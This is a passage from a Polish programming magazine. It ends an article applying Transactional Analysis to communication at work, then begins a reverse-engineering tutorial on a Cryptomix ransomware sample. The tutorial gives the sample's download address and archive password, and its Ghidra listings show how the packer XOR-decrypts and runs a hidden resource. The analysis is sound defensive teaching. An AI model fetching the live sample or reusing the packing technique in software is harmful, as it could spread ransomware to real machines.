Według twórcy Analizy Transakcyjnej zawsze, kiedy się ze sobą ko- dorosłych i uczeniu się od nich. Każda sytuacja, w jakiej się znaleźli-
munikujemy, robimy to z jednej z trzech pozycji psychologicznych. śmy, zmuszała nas do poradzenia sobie z nią w jakiś sposób, ustosun-
Berne nazywa je Stanami Ja: Ja Rodzic, Ja Dorosły, Ja Dziecko. Można kowania się do niej. Wykorzystywaliśmy do tego wszystkie zasoby,
przyjąć następującą analogię: moduł (człowiek) składa się kompo- w jakie wyposażone jest dziecko, i radziliśmy sobie z każdą z nich na
nentów (Stanów Ja). Teraz to komponenty jednego modułu komu- swój dziecięcy sposób.
nikują się z komponentami innego modułu (gracza). Żeby móc ko- Kiedy byliśmy karceni, to albo kładliśmy uszy po sobie i pokornie
rzystać z Analizy Transakcyjnej, należy przede wszystkim zrozumieć, wysłuchaliśmy reprymendy, albo okazywaliśmy niezgodę i opór wo-
czym charakteryzują się poszczególne Stany Ja i jakie zachodzą mię- bec silniejszych wobec nas opiekunów. Inaczej reagowaliśmy w sytu-
dzy nimi zależności. acjach, kiedy beztrosko bawiliśmy się z innymi dziećmi, inaczej kiedy
byliśmy chorzy, przestraszeni lub kiedy działa nam się krzywda.

JA RODZIC Wszystkie te umiejętności nie zniknęły w momencie, kiedy osią-


gnęliśmy dojrzałość i staliśmy się dorośli. Nasz osobisty arsenał dzie-
To stan psychologiczny, w którym korzystamy ze wszystkiego, cze- cięcych sposobów radzenia sobie z rzeczywistością wykorzystujemy
go nauczyliśmy się od osób pełniących wobec nas rolę opiekuńczą na co dzień, nie mając o tym pojęcia. Wystarczy przyjrzeć się temu,
i wychowawczą – rodziców, dziadków, nauczycieli. Czy zdarzyło w jaki sposób przeżywamy smutek, radość, bezsilność czy złość. Co
wam się stwierdzić, że zachowujecie się jak własny ojciec lub matka? robimy, kiedy chcemy wymusić na kimś bliskim określone zachowa-
Dzieje się tak między innymi przez właściwą dzieciom naukę przez nie, nie prosząc o nie wprost, lub jakich słów, gestów, tonu głosu uży-
naśladowanie. Przyglądając się zachowaniu dorosłych w momentach wamy, kiedy chcemy to zachowanie u kogoś „wyprosić”.
np. karcenia nas za nieodrobione lekcje albo nieposprzątany pokój,
chłonęliśmy informacje na temat tego, jak zachowuje się (tj. jaką ma
JA DOROSŁY
postawę ciała, jakie gesty, ton głosu itd.) osoba, która chce zwrócić
komuś uwagę, wymusić coś na kimś, ocenić kogoś. Na szczęście nasze zachowania nie sprowadzają się jedynie do korzy-
Z kolei gdy byliśmy w potrzebie – rozbiliśmy kolano, byliśmy stania z zasobów Rodzica lub Dziecka. Jako osoby dorosłe potrafi-
chorzy, smutni, przestraszeni – zachowania naszych opiekunów były my czerpać również ze wszystkiego tego, co niesie ze sobą fakt bycia
dla nas podręcznikiem do nauki tego, w jaki sposób zachowują się dojrzałą, niezależną jednostką. Potrafimy więc patrzeć na wszystko
osoby, które chcą się opiekować, chronić, troszczyć się o innych. w szerszym kontekście, odnosić się do faktów i nazywać emocje
Stan Ja Rodzic zazwyczaj jest oceniający, ustalający zasady, karcą- zarówno własne, jak i cudze, a przede wszystkim potrafimy szano-
cy. Ale może też być opiekuńczy, troskliwy, wyrozumiały, współczu- wać granice innych i własne oraz przyjmować postawę akceptacji
jący. Wszystkie zachowania osób dorosłych rejestrowaliśmy w trakcie i zrozumienia.
naszego dzieciństwa, programując się w taki sposób, aby sami je po- Codziennie, nie mając o tym pojęcia, posługujemy się wszystkimi
tem stosować w dorosłym życiu w analogicznych sytuacjach. Kiedy Stanami Ja (lub ich mieszanką) dziesiątki lub nawet setki razy. Każda

Rysunek 2. W zależności od tego, z którego ze Stanów Ja rozpoczynamy nasz komunikat, otrzymujemy odpowiedź z określonego Stanu Ja naszego rozmówcy

{ WWW.PROGRAMISTAMAG.PL } <95>
LABORATORIUM BOTTEGA

interakcja z drugą osobą zawiera w sobie ten materiał wyjściowy i, jak wy rodzica (w tym przypadku normatywnego, wymierzającego karę)
mówi Berne, „nie ma rzeczywistości poza tymi stanami”, a więc za- z dzieckiem (albo podporządkowanym i proszącym, albo buntują-
wsze, kiedy wchodzisz w interakcję z innymi, jesteś w jednym z tych cym się i opryskliwym).
stanów. Co więcej, jesteś w jednym z nich, nawet jeśli jesteś sam/a Samo zatrzymanie za złamanie przepisu, czy nawet po prostu za-
– kiedy siedzisz sam/a w pokoju i czytasz, czy kiedy biegniesz samot- trzymanie „do kontroli”, automatycznie wtłacza nas w ściśle określo-
nie przez park czy nawet teraz, kiedy czytasz ten artykuł. Wszystkie ne role, które zaczynamy odgrywać automatycznie niczym aktorzy
myśli, jakie przewijają się w twojej głowie, stanowią przejaw jednego w teatrze, grający ten sam spektakl od lat. Graliśmy go, kiedy rodzice
z trzech Stanów Ja. karcili nas za złe zachowanie, nauczyciel stawiał nam zły stopień za
Ten prosty podział, zrozumiały intuicyjnie dla wszystkich nas, nieprzygotowanie czy trener drużyny piłkarskiej obsztorcowywał nas
stanowi schemat wyjściowy dla modelu Analizy Transakcyjnej, gier w szatni za kiepską grę na boisku.
psychologicznych i wszystkiego, co się z nimi wiąże. Struktura ma Przykład z policjantem jest dosyć oczywisty, jednak w codzien-
ogromne znaczenie dla zrozumienia tego, co się z nami dzieje, kie- nym życiu, w wielu mniej oczywistych kontekstach, również wcho-
dy wchodzimy w interakcję z innymi. Stanowi swoisty framework, dzimy w wymiany zdań będących odzwierciedleniem rozmów typu
w jakim się poruszamy i na bazie którego zapisywane są kody i algo- Rodzic-Dziecko, Dziecko-Rodzic.
rytmy, które rządzą naszymi zachowaniami. Teoria Berne’a mówi o tym, że w zależności od tego, z jakiego
O tę strukturę oparta jest również struktura komunikacji pomię- Stanu Ja rozpoczniemy naszą komunikację z rozmówcą, otrzymamy
dzy „systemami” w naszych „komputerach pokładowych”. odpowiedź z określonego Stanu Ja. Dokładnie tak jak w przypadku
komunikowania się ze sobą komputerów i systemów, określony sy-
Gry psychologiczne mają poziom społeczny i psychologiczny. Podczas kiedy poziom gnał wywołuje ściśle zdefiniowaną odpowiedź.
społeczny może się wydawać nic nieznaczącą wymianą informacji, nieświadomie
w tym samym czasie toczymy ze sobą nieustanną wymianę komunikatów mających
Komunikacja z pozycji Ja Rodzic (w tym przypadku jest to ro-
na celu osiągnięcie określonej nagrody psychologicznej. dzic normatywny) zaprasza nas do odpowiedzi z poziomu Ja Dziecko
– albo podporządkowanego, albo buntującego się. Rodzic Opiekuń-
czy zaprasza do rozmowy z poziomu Dziecka Bezradnego. Dziecko

JAK KOMUNIKUJĄ SIĘ NASZE Zbuntowane wywołuje w rozmówcy automatycznie reakcję ze stanu
Ja Rodzic (normatywny) itd.
KOMPUTERY POKŁADOWE
Czy zatrzymała cię kiedyś drogówka? Licząc na to, że jeszcze zdążysz
załapać się na pomarańczowe, przejechałeś/aś właśnie skrzyżowanie
na czerwonym? I dokładnie w tym samym momencie zauważyłeś/aś
wyłaniający się zza rogu radiowóz? Nieznoszący sprzeciwu gest funk-
cjonariusza zaprasza cię do zatrzymania auta na poboczu, tuż obok
radiowozu.
» Dzień dobry, sierżant taki-a-taki, proszę przygotować dokumen-
ty auta i prawo jazdy do kontroli – rozpoczyna policjant, który
podszedł do naszego okna – Czy wie pan/pani, że przejechał/a
na czerwonym świetle…?

Jak się wtedy czułeś/aś? Jak reagowałeś/aś? Czy położyłeś/aś uszy po


sobie? Chciałeś/aś uprosić policjanta o darowanie kary? Czy może
próbowałeś/aś dać mu do zrozumienia, jak bardzo jesteś wściekły/a
z powodu zatrzymania i mandatu?
Zazwyczaj w takiej sytuacji rozpoczyna się wymiana zdań, w któ-
Rysunek 3. Gry psychologiczne rozgrywają się na dwóch poziomach – społecznym
rej wielu z nas zacznie się tłumaczyć – albo gapiostwem, albo pośpie- (jawnym) i psychologicznym (ukrytym). Podczas kiedy pozornie prowadzimy rozmowę
chem. Możemy też grać niewinnych, nieporadnych i liczyć na przy- typu Dorosły-Dorosły, podskórnie rozgrywa się między nami wymiana komunikatów,
np. Rodzic-Dziecko
mknięcie oka. Część z pewnością zacznie się buntować, przekonywać,
że policjant nie miał racji, że światło było jeszcze pomarańczowe.
Albo w przypływie złości i bezsilności, kiedy nic nie wskóramy
KIM JEST NERD
i widmo mandatu staje się nieuchronne, zaczniemy narzekać, że jest
to wina złego zarządzania ruchem, że ciągle są korki i dlatego czło- Siłą Analizy Transakcyjnej jest operowanie pojęciami, które instynk-
wiek musi się spieszyć. Częstą reakcją jest wyrzucanie z siebie, niby townie wszyscy rozumiemy. Rodzic, dziecko i dorosły. Każdy z nas
w powietrze, komentarzy o tym, jak to policja zamiast łapać złodziei odruchowo potrafi przypisać cechy określające każdy z tych pozio-
pastwi się nad Bogu ducha winnymi obywatelami. mów. Co ciekawe, intuicyjnie, w codziennym życiu, rozumiemy też
Rozmowa ta tylko pozornie będzie konwersacją dwóch doro- ich funkcje w relacjach i skutki, jakie wywołują zachowania z po-
słych osób. Na poziomie psychologicznym jednak prawie zawsze, szczególnych poziomów. Mówimy „Nie zachowuj się jak dziecko”,
bez względu na dokładny przebieg, będzie miała znamiona rozmo- „Nie matkuj mi”, „Dorośnij w końcu”.

<96> { 1 / 2022 < 100 > }


/ W co grają ludzie? /

To wszystko sprawia, że kiedy już zaczniemy używać Analizy


KTO PISZE NASZE SCHEMATY
Transakcyjnej w codziennym życiu i wyćwiczymy w sobie umiejęt-
I WZORCE INTERAKCJI
ność obserwacji rzeczywistości przez pryzmat koncepcji Berne’a, to
zaczniemy dostrzegać o wiele więcej niż dotychczas. Zbiór kilku powtarzających się stale, w ściśle określonej sekwen-
Weźmy na przykład, często nieprzyjemny i niesprawiedliwy, cji transakcji, mający ukryty dla jej uczestników cel nazywamy grą
a jednak funkcjonujący w naszej kulturze, zwyczaj szufladkowania psychologiczną.
ludzi i przyklejania im łatek, jak np. „nerd”. W pracy możemy usły- Z kolei pewien stały układ powtarzających się gier psycholo-
szeć o kimś „Bo to taki nerd jest”, lub może nieraz słyszeliśmy w na- gicznych służy nam do odtwarzania tak zwanego skryptu życiowe-
szą stronę coś w rodzaju „Przestań być takim nerdem”. Myślę, że każ- go – znacznie większej struktury algorytmicznej zapisanej w naszych
dy z nas ma pewne wyobrażenie, kim ów nerd jest, ale już nie zawsze procesorach w dzieciństwie. Często to, w jaki sposób się zachowuje-
wiemy, jak rozmawiać z nerdem, lub jak przestać być postrzeganym my, w jakie relacje wchodzimy, w jaki sposób w nie wchodzimy, jakie
przez innych jako nerd. decyzje życiowe (zawodowe i prywatne) podejmujemy – to wszystko
W takiej sytuacji z pomocą przychodzi nam Berne, który twier- służy realizacji życiowego skryptu.
dził, że co prawda wszyscy korzystamy z każdego ze Stanów Ja, jed- Skrypt definiuje API naszego systemu operacyjnego. Dopóki
nak z części z nich korzystamy częściej, a z innych rzadziej. To, z jaką działamy w ramach tego API, nie jesteśmy w stanie niektórych ele-
częstotliwością posługujemy się określonym stanem, wpływa na to, mentów zmienić, działać inaczej, podejmować innych decyzji.
w jaki sposób jesteśmy odbierani przez innych. Przykład skryptu:
Kiedy pod kątem Stanów Ja wyszczególnionych w Analizie Trans- 1. Paulina, projekt menadżerka z Poznania, 27 lat. Najstarsze dziec-
akcyjnej przyjrzymy się temu, jaki typ osoby określamy mianem ner- ko z czworga rodzeństwa. Od wczesnego dzieciństwa wymaga-
da, to zaczniemy dostrzegać, że pojęcie „nerd” najczęściej oznacza no od niej odpowiedzialności za pozostałe rodzeństwo, ustępo-
osobę, która podczas komunikacji ze światem przejawia nadrepre- wania i realizacji potrzeb innych kosztem realizacji własnych.
zentację Stanów: Ja Rodzic (normatywny) oraz Ja Dziecko (dziecko Widząc kłopoty wychowawcze z pozostałym rodzeństwem,
zbuntowane lub tzw. dziecko wolne), przy jednoczesnym ogranicze- starała się sama być grzeczna, dobrze się uczyć i sprawiać jak
niu Stanu Ja Dorosły. najmniej problemów, wyrabiając w sobie gen perfekcjonizmu.
Świadomość tego w połączeniu z wiedzą nt. wychodzenia z nie- 2. W życiu dorosłym wciąż nadodpowiedzialna, nadopiekuńcza.
chcianych typów transakcji daje nam narzędzie do realnego wpływa- W pracy bierze na siebie za dużo. Ledwo wyrabia się z nadmia-
nia na jakość naszych kontaktów z innymi. rem zadań, lecz kiedy otrzymuje dodatkowe, nie wyraża sprzeci-
wu. Ma problem z delegowaniem pracy. Chętniej bierze na sie-
Gry psychologiczne mają poziom społeczny i psychologiczny. Podczas kiedy poziom bie zadania kolegów, chcąc im pomóc i ich odciążyć, niż dzieli
społeczny może się wydawać nic nieznaczącą wymianą informacji, nieświadomie
w tym samym czasie toczymy ze sobą nieustanną wymianę komunikatów mających
się swoimi zbyt licznymi zadaniami. Przesiaduje po godzinach
na celu osiągnięcie określonej nagrody psychologicznej. i weekendy spędza z poczuciem przytłoczenia, ale z przekona-
niem, że tak jest właściwie i że na tym polega jej los.
3. W domu stara się być perfekcyjnym rodzicem, żoną, synową.

SKĄD MAM WIEDZIEĆ, ŻE JESTEM W relacjach z przyjaciółką zawsze znajduje czas na rozmowę
nawet kosztem zadbania o siebie. Źle czuje się, kiedy mimo
W GRZE wielu starań okazuje się być niewystarczająca, nieperfekcyjna.
Czy znasz ten moment, kiedy po rozmowie, spotkaniu z szefem, Wszystkie tego typu potknięcia generują w niej głęboki kryzys.
z kimś z zespołu, z klientem masz poczucie niesmaku, niepokoju lub 4. Mimo negatywnego wpływu ciągle powtarzanego schematu ma
braku szacunku do samego siebie, ale właściwie to nie potrafisz po- poczucie obowiązku tkwienia w nim i nie daje sobie prawa do
wiedzieć dlaczego? Pozornie nic się nie stało, normalna rozmowa, ale wprowadzenia najmniejszych nawet zmian. Ulubione gry Pauli-
jednocześnie czujesz się nią poirytowany/a, zniechęcony/a? Jeśli tak, ny to „Udręczona” oraz „Gdyby nie ty…”.
to z dużym prawdopodobieństwem zagrałeś/aś właśnie w grę.
Albo czy zdarza ci się odtwarzać bez końca te same sytuacje ko- Skrypt, w jakim funkcjonuje Paulina, zbudowany jest na głęboko za-
munikacyjne z przełożonymi, współpracownikami? Mimo zmienia- korzenionym przekonaniu, że jest dla innych, jej życiowym zadaniem
jących się „aktorów” odtwarzasz cały czas ten sam scenariusz zda- jest poświęcanie się i branie na siebie ciężarów nie do udźwignięcia.
rzeń, po których czujesz się źle – oszukany, stłamszony, niedoceniony Jest to wgrane w jej sposób bycia widzenia siebie i widzenia rzeczy-
lub pomijany przy podejmowaniu decyzji? wistości przekonanie tak głębokie, że niewidoczne. Wszystko to przypo-
Jeśli tak, to też prawdopodobnie bierzesz udział w grze – w cią- mina Matrix. Pewna rzeczywistość, o której nie mamy pojęcia, rządzi na-
głym odtwarzaniu tego samego algorytmu interakcji i zdarzeń, które szym światem, naszymi zachowaniami, relacjami, stosunkami w pracy.
nie przynoszą nic dobrego. Codziennie, podejmując działania zarówno te małe i nieistotne,
Gry mają to do siebie, że ostatecznie nikt w nich nie wygrywa. jak i życiowe, podążamy za skryptem, chcemy go realizować. Nie-
Korzyści psychologiczne, które są motorem napędowym osoby ini- świadomie w poszczególnych interakcjach wchodzimy odpowiednio
cjującej grę oraz osób, które biorą w niej udział, są zazwyczaj destruk- w rolę rodzica lub dziecka, podporządkowując się w ten sposób regu-
tywne. Gra psychologiczna bowiem jest nieumiejętnością budowania łom kierującym naszym życiem. Gramy w gry, które utwierdzają nas
szczerych otwartych relacji opartych na zaufaniu. w przekonaniach na temat własny i innych ludzi.

{ WWW.PROGRAMISTAMAG.PL } <97>
LABORATORIUM BOTTEGA

DLACZEGO ANALIZA TRANSAKCYJNA tury, łatwo będzie się zniechęcić, a co za tym idzie – temat pracy nad
sobą i wprowadzania zmian odłożyć na bliżej nieokreśloną przyszłość.
TO NAJLEPSZY SPOSÓB NA SZKOLENIE Tymczasem jedną z ogromnych zalet koncepcji Berne’a jest to, że
UMIEJĘTNOŚCI MIĘKKICH Analiza Transakcyjna jest teorią generyczną. Gdybyśmy przejrzeli
Kiedy wpiszemy w wyszukiwarkę Amazona frazę „communication wszystkie tytuły książek poświęconych soft skills, okazałoby, że każdą
skills” lub inną o podobnym znaczeniu, otrzymamy ponad 20 000 z nich da się opisać na prostym algorytmicznym i strukturalnym mo-
tytułów samych książek poświęconych temu tematowi. Rozwój oso- delu komunikacji pomiędzy poszczególnymi komponentami naszego
bisty, soft skills w pracy to tematy, które od dłuższego czasu są po- systemu (Stanami Ja).
pularne. Mówi się o nich, i słusznie, że mają ogromne znaczenie dla Nie jest to przesada – niemal wszystkie teorie dotyczące kon-
naszej pracy i szerzej – dla jakości naszego życia. Jednak jak wszyst- struktywnej komunikacji da się wytłumaczyć na podstawie tej jed-
ko, co budzi zainteresowanie – również tak zwany rozwój osobisty nej koncepcji. Więc jeśli tylko zrozumiemy Analizę Transakcyjną, to
i kompetencje miękkie stały się produktem, chętnie odświeżonym intuicyjnie będziemy rozumieli pozostałe teorie, modele i koncepcje
i przepakowywanym w coraz to nowe, przyciągające uwagę tytuły komunikacyjne. To mniej więcej tak, jakbyśmy dostali możliwość
i sprzedawane osobom poszukującym prostych recept. nauczenia się jednego podstawowego języka kodowania, za pomocą
Trudno się w tym gąszczu tematów i tytułów nie pogubić. Zwłasz- którego jesteśmy w stanie rozumieć dowolny kod bez względu na to,
cza osobom, które ze swej natury niechętnie sięgają po tego typu lek- w jakim języku został napisany.

Rysunek 4. Teoria Analizy Transakcyjnej ma te same elementy, co prawa rządzące komunikacją systemów i maszyn. Są nimi: struktura, kod komunikacji oraz algorytmiczne oddziaływanie
na siebie elementów

KAMIL RO GULSKI
Ma za sobą kilkanaście lat doświadczenia w kadrach zarządzających różnych szczebli – od lidera zespołu roboczego po general
managera. Obecnie współtworzy m.in start-up zajmujący się rozwojem nowych technologii w edukacji (Anivatar Edu System).
Specjalizuje się we wspieraniu menadżerów i zespołów w rozwoju kompetencji miękkich. Jest absolwentem m.in. studiów me-
nadżerskich na SGH oraz Szkoły Trenerów Biznesu INTRA.

SŁAWOMIR SOBÓTKA
Od 12 lat właściciel firmy szkoleniowo-doradczej Bottega IT Minds. Równolegle współpracuje jako inwestor i CTO z kilkoma
start-upami. W ciągu 17 lat pracy w branży IT pełnił rolę programisty, architekta, lidera zespołu, mentora i trenera. W codzien-
nej pracy integruje: Domain Driven Design, wzorce, style architektoniczne, zwinne procesy wytwórcze i zdrowy rozsądek.
Stosuje nadrzędną zasadę: rozpoznać klasę problemu, z jaką mamy do czynienia, i dobrać do niej odpowiednią klasę narzędzia.
Hobbystycznie interesuje się psychologią pozytywną i kognitywistyką.

<98> { 1 / 2022 < 100 > }


BEZPIECZEŃSTWO

Analiza złośliwego oprogramowania: packery i obfuskacja


W pierwszej części artykułu (Programista 5/2021) wkroczyliśmy w fascynujący świat inży-
nierii wstecznej, a także przeanalizowaliśmy próbkę ransomware z rodziny Mapo. Dzisiaj pój-
dziemy dalej w tę stronę i weźmiemy na warsztat kolejną próbkę złośliwego oprogramowania.
Ponownie będzie to ransomware, tym razem z rodziny Cryptomix. Naszym celem będzie ana-
liza metody szyfrowania i ocenienie szansy na odzyskanie zaszyfrowanych plików.

O d strony technicznej nauczymy się trochę o sztuczkach wyko-


rzystywanych przez złośliwe oprogramowanie w celu utrudnie-
nia analizy oraz tego, jak sobie z nimi radzić.
PRÓBKA DRUGA: CRYPTOMIX
Czas przejść do analizy. Cryptomix to ransomware, które było dość
popularne w Polsce w roku 2017. Z perspektywy bezpieczeństwa IT

POWTÓRKA to już prehistoria. Ma to jednak pewne zalety – na przykład od dłuż-


szego czasu jest już nieużywany i można o nim mówić bez obaw, że
Zanim przejdziemy dalej, mała powtórka/słowniczek dla tych, którzy przypadkowo podpowiemy coś jakiemuś przestępcy.
nie mieli okazji przeczytać pierwszej części. Próbka jest dostępna do pobrania pod adresem store.tailcall.net/
Ransomware: rodzaj złośliwego oprogramowania szyfrujący pliki na programistamalware2.zip. Uwaga: znajdujący się tam program to
komputerach ofiar i żądający okupu za odzyskanie dostępu do danych. prawdziwa próbka złośliwego oprogramowania. Aby ochronić czy-
Inżynieria wsteczna: sztuka analizowania kodu gotowych pro- telników przed przypadkowym uruchomieniem, próbka została po-
gramów. Zazwyczaj wymaga działania na bardzo niskim poziomie zbawiona rozszerzenia, a archiwum zostało zabezpieczone hasłem
i zgadywania intencji programisty. W pewnym sensie czynność od- programista2022malware. Pod żadnym poziomem nie należy go
wrotna do programowania – zamiast pisać kod zgodny ze specyfika- uruchamiać (chyba że na dedykowanej maszynie wirtualnej albo
cją, rewerser próbuje napisać specyfikację, analizując kod. w innym specjalnym środowisku).
Ghidra: darmowe (ale dobre) narzędzie do deasemblacji i dekom- Gdyby je uruchomić, malware zacznie szyfrować wszystkie pliki
pilacji plików wykonywalnych. Nadaje się do analizy plików skompilo- na dysku, a po zakończeniu „pracy“ wyświetli użytkownikowi komu-
wanych na różne architektury. Dostępne do pobrania ze strony projek- nikat z żądaniem okupu (Rysunek 1).
tu1. Dokładniejszy opis użycia opisano w poprzednim numerze. Pozostała część artykułu koncentruje się na niskopoziomowej
analizie tej próbki. Naszym celem, podobnie jak w poprzedniej czę-
1. https://ghidra-sre.org ści, będzie znalezienie jakichś podpowiedzi, jak możemy pomóc „za-

Rysunek 1. Żądanie okupu wyświetlane przez Cryptomixa

<100> { 1 / 2022 < 100 > }


/ Analiza złośliwego oprogramowania: packery i obfuskacja /

szyfrowanym” ofiarom. Tym razem będzie trochę trudniej, ale jedno- ków4, ale znajdują się w sekcji danych zdefiniowanych przez
cześnie analiza będzie bardziej realistyczna2. Zaczynamy od pobrania użytkownika i wyraźnie mają jakiś swój cel.
i rozpakowania dostarczonego archiwum. Następnie ładujemy go do » Nazwy funkcji importowanych przez program, na przykład
programu Ghidra (Rysunek 2) i otwieramy. „GetCursorPos”, „LockResource” i wiele innych. Jest ich dużo,
a sam fakt, że program importuje funkcję, nie oznacza, że jej
używa. Na razie nie warto specjalnie się w nie zagłębiać.
» Dużo losowo wyglądających napisów unicode w dalszej części
programu. Jeśli spojrzymy na nie dokładniej, znajdują się w sek-
cji zasobów (.rsrc). Nie jest to dobry punkt startowy analizy, ale
informacja, że program korzysta z zasobów, może okazać się
przydatna.

Niestety, nic tutaj nie mówi nam za wiele. W takim razie trzeba
przejść do kroku drugiego, czyli analizy głównej funkcji programu5.
Podobnie jak poprzednio, program ma jeden eksport nazwany „en-
try”. Możemy go znaleźć za pomocą okna „Symbol Tree”, rozwija-
jąc sekcję „Exports”. Funkcja entry to miejsce, od którego program
zaczyna wykonanie programu. To tak zwany prolog kompilatora,
którego celem jest inicjalizacja struktur wymaganych przez język
(np. tablicy argv) i wywołanie właściwej funkcji main. Po kliknięciu
Rysunek 2. Okno programu Ghidra po załadowaniu dostarczonego pliku na funkcję widzimy następujący kod (Listing 1):

Listing 1. Entry point analizowanego programu


Ponownie przejdźmy krok po kroku przez rutynowe czynności po-
dejmowane przy analizie nowego celu. Niecierpliwi albo bardziej int entry(void) {
// (...)
zaawansowani mogą od razu przeskoczyć sekcję dalej, do części ___security_init_cookie();
„W poszukiwaniu zaginionego kodu”. uStack12 = 0x40183f;
local_8 = 0;
Pierwszą rzeczą, którą warto zrobić, jest przeczytanie treści na- GetStartupInfoA((LPSTARTUPINFOA)&local_6c);
local_8 = 0xfffffffe;
pisów użytych w programie3. Często pozwala to szybko domyślić się, local_20 = 0;
na co warto spojrzeć i w którą stronę pójść z analizą. Można to zrobić iVar1 = __heap_init();
if (iVar1 == 0) { _fast_error_exit(0x1c); }
za pomocą unixowego narzędzia „strings”, albo od razu przy pomocy iVar1 = __mtinit();
okienka „Defined Strings” w Ghidrze (Rysunek 3). if (iVar1 == 0) { _fast_error_exit(0x10); }
__RTC_Initialize();
local_8 = 1;
iVar1 = __ioinit();
if (iVar1 < 0) { __amsg_exit(0x1b); }
DAT_0040b8bc = GetCommandLineA();
DAT_0040ad10 = GetEnvironmentStringsA();
iVar1 = __setargv();
if (iVar1 < 0) {
__amsg_exit(8);
}
iVar1 = __setenvp();
if (iVar1 < 0) {
__amsg_exit(9);
}
iVar1 = __cinit(1);
if (iVar1 != 0) {
__amsg_exit(iVar1);
}
__wincmdln();
local_24 = FUN_00401700();
if (local_20 == 0) {
_exit(local_24);
Rysunek 3. Napisy zdefiniowane w programie wykryte przez Ghidrę }
__cexit();
return local_24;
}
Tym razem jest dość ubogo. W oczy rzucają się:
» „//.///*&^wJhfydsuifhwyeiufk”, „KdsfhuifhywqiDSHFJHSDJFJ…”
i „HGFYADSDYSAGYDHAS”. Wyglądają na losowe ciągi zna-
4. Tak naprawdę, jeśli im się przyjrzeć dokładniej, wcale nie są przypadkowe. Wyglądają jak ciągi
znaków napisane przez człowieka naciskającego szybko „losowe” klawisze na klawiaturze. Fragmen-
ty typu „HGFYADSD” to typowy „keyboard walk” – polecam położyć ręce na klawiaturze i zobaczyć,
jak układają się te znaki. Umiejętność odróżniania danych prawdziwie losowych od generowanych
2. Chociaż dalej niespecjalnie skomplikowana – to mimo wszystko ransomware. przez człowieka czasami okazuje się przydatna.
3. Warto wspomnieć, że wykrywanie napisów działa w bardzo prosty sposób. Narzędzia po prostu 5. Alternatywne podejście to wyszukanie referencji do jakiegoś interesującego napisu i rozpoczęcie
skanują plik, traktując go jako dowolne bajty, i szukają odpowiednio długich ciągów alfanumerycz- analizy „od środka”. W przypadku bardziej skomplikowanych programów takie podejście jest często
nych znaków. Podobnie działa wykrywanie napisów „Unicode” (szuka znaków alfanumerycznych bardziej praktyczne, ale w tym artykule skoncentrujemy się na klasycznym podejściu „top-down”.
przeplatanych bajtami 0).

{ WWW.PROGRAMISTAMAG.PL } <101>
BEZPIECZEŃSTWO

Jak widać, kodu jest sporo. Gdzie może być wywołanie funkcji }
uVar5 = uVar5 + 4;
main? Sprawa w tym przypadku jest oczywista: } while (uVar5 < 0x7a00);
» Jest to jedyna nienazwana funkcja w dekompilacji, więc wszyst- FUN_00401440(DAT_0040acdc);
return;
kie inne możemy od razu wykluczyć. W tym przypadku Ghidra }
bardzo dobrze sobie poradziła.
» Nawet gdyby nie to, wynik tej funkcji jest bezpośrednio przeka- Powiedzieć, że ten kod nie wygrałby konkursu piękności, to mało.
zywany do exit() – jest to bardzo charakterystyczne dla main Prawdopodobnie w oryginale wyglądał mniej więcej tak (Listing 4):
(wartość zwrócona przez main jest kodem błędu całego progra-
Listing 4. Kod tej samej funkcji co w Listingu 3, ale napisany „na czysto”
mu w C/C++ i wielu innych językach).
void FUN_004015d0(void) {
HRSRC handle = FindResourceW(
0, 0xe76, L"HGFYADSDYSAGYDHAS");
W POSZUKIWANIU ZAGINIONEGO KODU HGLOBAL resource = LoadResource(0, handle);
HMODULE kernel32 = LoadLibraryExW(L"Kernel32.dll",0,0);
code *lock = GetProcAddress(kernel32, "LockResource");
Funkcja main prezentuje się następująco (Listing 2): char *data = lock(resource);
DAT_0040acdc = VirtualAlloc(
0, 0x7a00, 0x3000, PAGE_READWRITE);
Listing 2. Funkcja main analizowanego programu RtlMoveMemory(DAT_0040acdc, data, 0x7a00);
for (int i = 0; i < 0x7a00; i++) {
undefined4 WinMain(void) { DAT_0040acdc[i] ^= DAT_0040a000[i % 0xd];
}
_DAT_0040acd4 = GetModuleHandleW(0); FUN_00401440(DAT_0040acdc);
FUN_00401320(); }
GetCompressedFileSizeA("Windowspool.sys", 0);
cVar2 = FUN_00401000();
if (cVar2 != '\0') { Dużo lepiej, prawda? Możemy spróbować zrozumieć, co się w nim
puVar3 = *(*(*(in_FS_OFFSET + 0x30) + 0xc) + 0x1c);
do {
dzieje. Widzimy, że ustawia wartość zmiennej DAT_0040acdc na za-
DAT_0040acf0 = puVar3[2]; wartość zasobu6 o nazwie „HGFYADSDYSAGYDHAS”, a następnie
piVar1 = puVar3 + 8;
puVar3 = (int *)*puVar3; przeprowadza operację xor na każdym bajcie, używając zmiennej
} while (*(int *)(*piVar1 + 0xc) != 0x320033); DAT_0040a000 jako klucza. Pod tym adresem znajduje się jeden z na-
FUN_004015d0();
} pisów, które widzieliśmy wcześniej: „QaGHRtyurwdasiyudisajk”.
(*(code *)(DAT_0040ace4 + DAT_0040ace8))(); Podsumowując dotychczasowe ustalenia:
return 0;
} » Funkcja main wykonuje kilka niekrytycznych działań, po czym
wywołuje funkcję FUN_004015d0.
Warto też zajrzeć w wywoływane funkcje (na przykład: FUN_00401320, » Funkcja FUN_004015d0 czyta zasób o nazwie „HGFYADSDYSA-
FUN_00401000 itd). Czeka nas niemiła niespodzianka – nigdzie nie GYDHAS” i deszyfruje go kluczem „QaGHRtyurwdasiyudisajk”.
ma kodu szyfrującego, którego się spodziewamy. » Następnie wykonywany jest kod zapisany w zdeszyfrowanym
Czyżbyśmy pomylili próbki? W jaki sposób autor malware nas zasobie.
przechytrzył? Jedyny trop, jaki pozostał, to ostatnia linijka, która ska-
cze do kodu pod adresem DAT_0040ace4 + DAT_0040ace8 – niestety Jest to klasyczny przykład tzw. packera. Packery to programy, których
podczas analizy statycznej nie znamy zawartości tych zmiennych i nie głównym celem jest załadowanie właściwego kodu do pamięci i wy-
wiemy, dokąd ten skok prowadzi. Poszukajmy więc kodu ustawiające- konanie go (Rysunek 4). Zastosowań takiej techniki jest kilka:
go te zmienne. Odpowiedź leży w funkcji FUN_004015d0 (Listing 3). » Poprawa czasu uruchomienia albo redukcja wielkości obrazu
dzięki kompresji kodu głównego programu.
Listing 3. Kod funkcji FUN_004015d0 (po minimalnych kosmetycznych zmianach)
» Opakowanie aplikacji w prosty sposób. Pozwala to wykonać jakieś
void FUN_004015d0(void) { akcje albo sprawdzenia przed załadowaniem właściwego kodu.
res = FindResourceW(0,0xe76,L"HGFYADSDYSAGYDHAS");
